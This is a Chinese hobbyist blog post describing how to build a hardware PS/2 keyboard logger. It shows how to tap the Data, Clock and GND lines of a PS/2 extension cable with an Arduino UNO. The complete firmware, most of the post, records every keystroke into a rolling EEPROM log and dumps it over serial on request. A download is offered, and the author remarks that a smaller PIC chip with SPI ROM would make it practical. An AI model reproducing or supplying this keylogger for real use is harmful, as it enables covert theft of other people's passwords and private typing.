制作一个PS2键盘记录器

这是一个能够记录PS2键盘发出的按键信息的演示装置。

使用的元件:

Arduino UNO                          一块
PS2 延长线(一端公头,一端母头)     一根
测试钩                               三根

首先要将PS2延长线剥开,其中有四根线,分别是 Vcc/GND/Clock/Data。我们只需要钩取其中除了Vcc之外的三根线。

psa

特别说一下这几根线的分布,在公头端和母头端看过去的Pin编号是对称的,如下图所示(网上有人说一些资料搞错了,我看了一下,是他本人搞错了公母而已)。选好线之后务必使用万用表确定接线无误。

psb

连接方面,上面图片中白色测试钩钩取的是黄色线 GND;绿色测试钩钩取的是红色Data;白色测试钩钩取的是白色线 Clock。

PS2 头和线色对应关系如下图:

psc

程序调用了PS2Keyboard library 【参考1】,用它来做PS2 协议的解码。调用的方式就是keyboard.begin(DataPin, IRQpin);  DataPin 要给出Arduino上连接到 PS2 Data的Pin脚;IRQpin 要给出Arduino上连接到 PS2 Clock的Pin脚。本例中,分别是 Pin8 和 Pin2。

psd

开始运行后, Setup()中会在串口输出一个菜单,提示如果输入 P ,那么会直接打印出 Arduino板载 EEPROM中的内容(UNO 的EEPROM不大,只有1K【参考2】。前面2个Byte用来存放一个记录当前要写入的位置。其余位置用来存储记录的键值。如果超过1K,那么返回开始处重新覆盖)。如果5秒之内没有输入 P ,那么程序会运行loop() 中的代码。先使用PS2Keyboard library 进行解码,然后每次都要从EEPROM中取出前2个Bytes组成一个指针,指示要将这个键值要存放在EEPROM中的位置。

  
#include "PS2Keyboard.h"
#include <EEPROM.h>

const int DataPin = 8;
const int IRQpin =  2;
const int MaxLength = 1024;
PS2Keyboard keyboard;
int SaveTo;

void setup() {
  boolean TimeOutMark=true;
  keyboard.begin(DataPin, IRQpin);  
  Serial.begin(9600);
  
  Serial.write("Keyboard Logger for Arduino\n");
  Serial.write("www.lab-z.com 2014.5\n");
  Serial.write("   p - for output record \n");
  
  unsigned long _time = millis();  //用于超时
  while ((millis() - _time) < 5000)
  {
  char inChar = Serial.read();
  if ((inChar == 'p') || (inChar == 'P'))
    {
       TimeOutMark=false;
       for (int i=2; i<MaxLength; i++)
         {
              char c = EEPROM.read(i) ;
              // check for some of the special keys
              if (c == PS2_ENTER) {
                    Serial.println();
              } else if (c == PS2_TAB) {
                    Serial.print("[Tab]");
              } else if (c == PS2_ESC) {
                    Serial.print("[ESC]");
              } else if (c == PS2_PAGEDOWN) {
                    Serial.print("[PgDn]");
              } else if (c == PS2_PAGEUP) {
                    Serial.print("[PgUp]");
              } else if (c == PS2_LEFTARROW) {
                    Serial.print("[Left]");
              } else if (c == PS2_RIGHTARROW) {
                    Serial.print("[Right]");
              } else if (c == PS2_UPARROW) {
                    Serial.print("[Up]");
              } else if (c == PS2_DOWNARROW) {
                    Serial.print("[Down]");
              } else if (c == PS2_DELETE) {
                    Serial.print("[Del]");
              } else {
                  // otherwise, just print all normal characters
                    Serial.print(c);
              } // End of else            
         }//End of for
     } //End of if ((inChar = 'p') || (inChar = 'P'))  
  }// End of While 
 if (TimeOutMark==true)  {Serial.write("Timeout occured!\n");  }
 else {Serial.write('\n Output End!');}
 
    EEPROM.write(0,2);
    EEPROM.write(1,0);     

} // End of Setup

void loop() {
  char c;

 if (keyboard.available()) {
     // read the next key
    c = keyboard.read();
   Serial.print(c);
    SaveTo = EEPROM.read(0) + (EEPROM.read(1) <<8);
    EEPROM.write(SaveTo,c);
    SaveTo++;
    if (SaveTo>MaxLength) {SaveTo=2;}
    EEPROM.write(0,SaveTo);
    EEPROM.write(1,(SaveTo >> 8));    
  }

  
}

 

实验中使用的是一个USB键盘,通过USB转PS2转为电脑上能使用的PS2 (资料上说现在的USB键盘内置2种协议,根据当前插入的接口自动选择输出的协议)。该键盘通过上面提到的PS2延长线接入电脑。记录结果如下:

pse

因为尺寸的原因,可以看出来这个东西只有演示的价值,如果真想做一个实用性的东西,还要选择PIC系列的小尺寸单片机加上SPI ROM………

下载
KeyLog

参考:

1.http://playground.arduino.cc/Main/PS2Keyboard

2.Arduino上的单片机自带EEPROM  328P 有 1024字节

http://wiki.geek-workshop.com/doku.php?do=export_xhtml&id=arduino:libraries:eeprom

发表评论

电子邮件地址不会被公开。 必填项已用*标注